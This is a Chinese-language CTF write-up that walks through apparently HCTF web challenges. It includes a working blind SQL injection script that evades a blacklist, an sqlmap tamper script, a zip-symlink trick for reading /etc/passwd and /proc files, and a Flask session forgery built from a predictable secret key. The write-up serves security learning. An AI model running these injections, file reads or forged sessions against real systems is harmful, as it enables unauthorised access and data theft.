Warmup

签到题

$_page = mb_substr(
    $page,
    0,
    mb_strpos($page . '?', '?')

一开始看上面这段代码有点懵,然后一搜~~~ -w628 就是套用phpmyadmin的exp即可获得flag -w604

kzone

information collection

出题人WP 直接打开都是无限跳转,所以拿御剑扫一下目录,发现源码~~赶紧拖下来看看 -w164

cracking

翻了一遍之后,发现了member.php,发现admin_user是直接带入sql语句中的,而且admin_pass运用的是弱类型比较:)似乎有搞头~

if ($_COOKIE["login_data"]) {
        $login_data = json_decode($_COOKIE['login_data'], true);
        $admin_user = $login_data['admin_user'];
        $udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
        if ($udata['username'] == '') {
            setcookie("islogin", "", time() - 604800);
            setcookie("login_data", "", time() - 604800);
        }
        $admin_pass = sha1($udata['password'] . LOGIN_KEY);
        if ($admin_pass == $login_data['admin_pass']) {
            $islogin = 1;
        } else {
            setcookie("islogin", "", time() - 604800);
            setcookie("login_data", "", time() - 604800);
        }
    }

但是这里我一直爆破不出来~~islogin无论传1还是0,都是返回You are already logged in!,那就看下还有什么其他路子吧~(后来发现。。是自己post请求点错了~~尴尬!!)

因为在safe.php下有过滤

$blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|benchmark|like|regexp|if|=|-|<|>|\#|\s/i';

所以基本上通过正常方法是不能饶过or了~但是这道题有两个骚操作,一个是出题人的预期解(Innodb),一个是非预期解。

Innodb

源码里面的数据库文件和平常的没什么两样,然后随便找了个自己的对比了一下,发现。。有一丝猫腻~ 就是ENGINE的地方不一样~

MySQL5.5版本开始Innodb已经成为Mysql的默认引擎(之前是MyISAM),说明其优势是有目共睹的,如果你不知道用什么,那就用InnoDB,至少不会差。 所以可以使用mysql.innodb_table_stats来代替 information_schema.tables即可获取表名。 这里改一下大佬的来脚本测试,是成功的 -w283

import requests
import string
url = ""
rg = '._- {}'+string.digits+string.ascii_letters+'&'
flag = ''
for l in range(30):
    for i in rg:
        cookies = {
            "islogin":"1",
            # 'login_data': r'''{{"admin_user":"admin'\rand\rlpad((select\rcolumn_name\rfrom\rinf\u006frmation_schema.columns\rwhere\rtable_name\u003d'F1444g'limit\r1),{},2)in('{}{}')\rand'1","admin_pass":"3aa526bed244d14a09ddcc49ba36684866ec7661"}}'''.format(l+1,flag, i)
            'login_data': r'''{{"admin_user":"admin'\rand\rlpad((select\rtable_name\rfrom\rmysql.innodb_table_stats\rwhere\rtable_name\u003d'F1444g'limit\r1),{},2)in('{}{}')\rand'1","admin_pass":"3aa526bed244d14a09ddcc49ba36684866ec7661"}}'''.format(l+1,flag, i)
            # 'login_data': r'''{{"admin_user":"admin'\rand\rlpad((select\rf1a9\rfrom\rF1444g\rlimit\r1),{},2)in('{}{}')\rand'1","admin_pass":"3aa526bed244d14a09ddcc49ba36684866ec7661"}}'''.format(l+1,flag, i) 
        }
        r = requests.get(url, cookies=cookies)
        print(i, end="\r")
        # print("\r")
        if len(r.text) > 1000:
            flag+=i
            print(flag)
            break
        if i == '&':
            exit()

当然在使用这种方法之前,需要通过@@innodb_version来获取mysql版本,类似于@@version的效果,才能知道当前引擎是否为innodb,但是在实际情况中,mysql.innodb_table_stats表注入的缺点是无法通过查询得出列名。

json_decode

因为传入的login_data会有json_decode操作,所以我们可以通过将黑名单内的关键字进行encode,然后即可达到注入目的。

$login_data = json_decode($_COOKIE['login_data'], true);

-w1269 -w1288 接下来,当然可以选择自己写脚本注入,但是~~既然有工具肯定要好好利用啊~~看到Ricter大佬用sqlmap快速破题,所以我觉得。。还是要跟上大佬的脚步,把工具用的出神入化才行啊!

#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    data = '{"admin_user":"admin%s","admin_pass":65}'
    payload = payload.lower()

    payload = payload.replace('u', '\u0075')
    payload = payload.replace('o', '\u006f')
    payload = payload.replace('i', '\u0069')
    payload = payload.replace('\'', '\u0027')
    payload = payload.replace('\"', '\u0022')
    payload = payload.replace(' ', '\u0020')
    payload = payload.replace('s', '\u0073')
    payload = payload.replace('#', '\u0023')
    payload = payload.replace('>', '\u003e')
    payload = payload.replace('<', '\u003c')
    payload = payload.replace('-', '\u002d')
    payload = payload.replace('=', '\u003d')
    payload = payload.replace('f1a9', 'F1a9')
    payload = payload.replace('f1', 'F1')
    return data % payload

这里有两个坑就是: 1. 要注意单引号中的转义 2. 要注意将f1转为大写 3. 注入的时候如果存在大小写敏感可以用binary区分 -w908

平台本身的逻辑问题,就可以实现布尔注入: 当查询返回的用户名为空且密码错误时,进行四次setcookie 操作 当查询返回的用户名为不为空时,进行两次setcookie 操作

hideandseek

Information collection

直接随意输入账号密码即可登陆,然后就要求上传zip文件。 -w1004 随便上传一个zip后,发现会自动把压缩包内的内容打印出来。 搜索了一会发现了软连接这个东东。 于是试了试

~/Downloads/hctf_hideandseek ln -s /etc/passwd link

~/Downloads/hctf_hideandseek zip --symlinks test.zip link
  adding: link (stored 0%)

~/Downloads/hctf_hideandseek ls
link     test.zip

成功读取 -w1199 接下来就是看看能不能读取到什么有用的信息了~ 这里读了半天,没读出什么东西,卡住了,然后看了下wp,发现出题人说linux一切皆文件的思想,找到了Linux /proc/pid目录下各文件含义,简直大开眼界~ 读到了uwsgi配置文件的位置,也知道了目录路径,接下来就是继续读了。 -w1239 然后读到了源码

# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
    error = request.args.get('error', '')
    if(error == '1'):
        session.pop('username', None)
        return render_template('index.html', forbidden=1)

    if 'username' in session:
        return render_template('index.html', user=session['username'], flag=flag.flag)
    else:
        return render_template('index.html')


@app.route('/login', methods=['POST'])
def login():
    username=request.form['username']
    password=request.form['password']
    if request.method == 'POST' and username != '' and password != '':
        if(username == 'admin'):
            return redirect(url_for('index',error=1))
        session['username'] = username
    return redirect(url_for('index'))


@app.route('/logout', methods=['GET'])
def logout():
    session.pop('username', None)
    return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'the_file' not in request.files:
        return redirect(url_for('index'))
    file = request.files['the_file']
    if file.filename == '':
        return redirect(url_for('index'))
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename)
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a zipfile'


    try:
        extract_path = file_save_path + '_'
        os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
        read_obj = os.popen('cat ' + extract_path + '/*')
        file = read_obj.read()
        read_obj.close()
        os.system('rm -rf ' + extract_path)
    except Exception as e:
        file = None

    os.remove(file_save_path)
    if(file != None):
        if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
            return redirect(url_for('index', error=1))
    return Response(file)


if __name__ == '__main__':
    #app.run(debug=True)
    app.run(host='127.0.0.1', debug=True, port=10008)

再把模版html读一下,虽然知道flag在flag.py里,但是你想直接读出来,是不可能的,出题人已经知道你这种“骚操作”,特地把这种情况排除了。

if(file != None):
    if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
        return redirect(url_for('index', error=1))

所以只能从admin入手。

{% if user %}
        <br>
        <br>
        <h1>Hello, {{ user }}. </h1>

        {% if user == 'admin' %}
        Your flag: <br>
        {{ flag  }}

        {% else %}
        <br>
        <br>

solution

这下子解题思路就明确了:admin用户不能登陆,只能伪造session了。 再观察一下源码对session的构造

random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)

uuid.getnode()获得10进制mac地址,这个也可以通过/sys/class/net/eth0/address来读取

然后自己构造一个flask,配上伪造的session即可得到flag

from flask import Flask
from flask.sessions import SecureCookieSessionInterface
import random
import requests


url = ''
mac = ''
mac = int(mac, 16) #要进行进制转换
print(mac)
app = Flask(__name__)
random.seed(mac)
key = random.random()*100
app.config['SECRET_KEY'] = str(key)
payload = {'username' : 'admin'}
serializer = SecureCookieSessionInterface().get_signing_serializer(app)
session = serializer.dumps(payload)

cookies = {'session' : session}
rq = requests.get(url, cookies=cookies)
print(session)
if 'hctf' in rq.text:
    print(rq.text)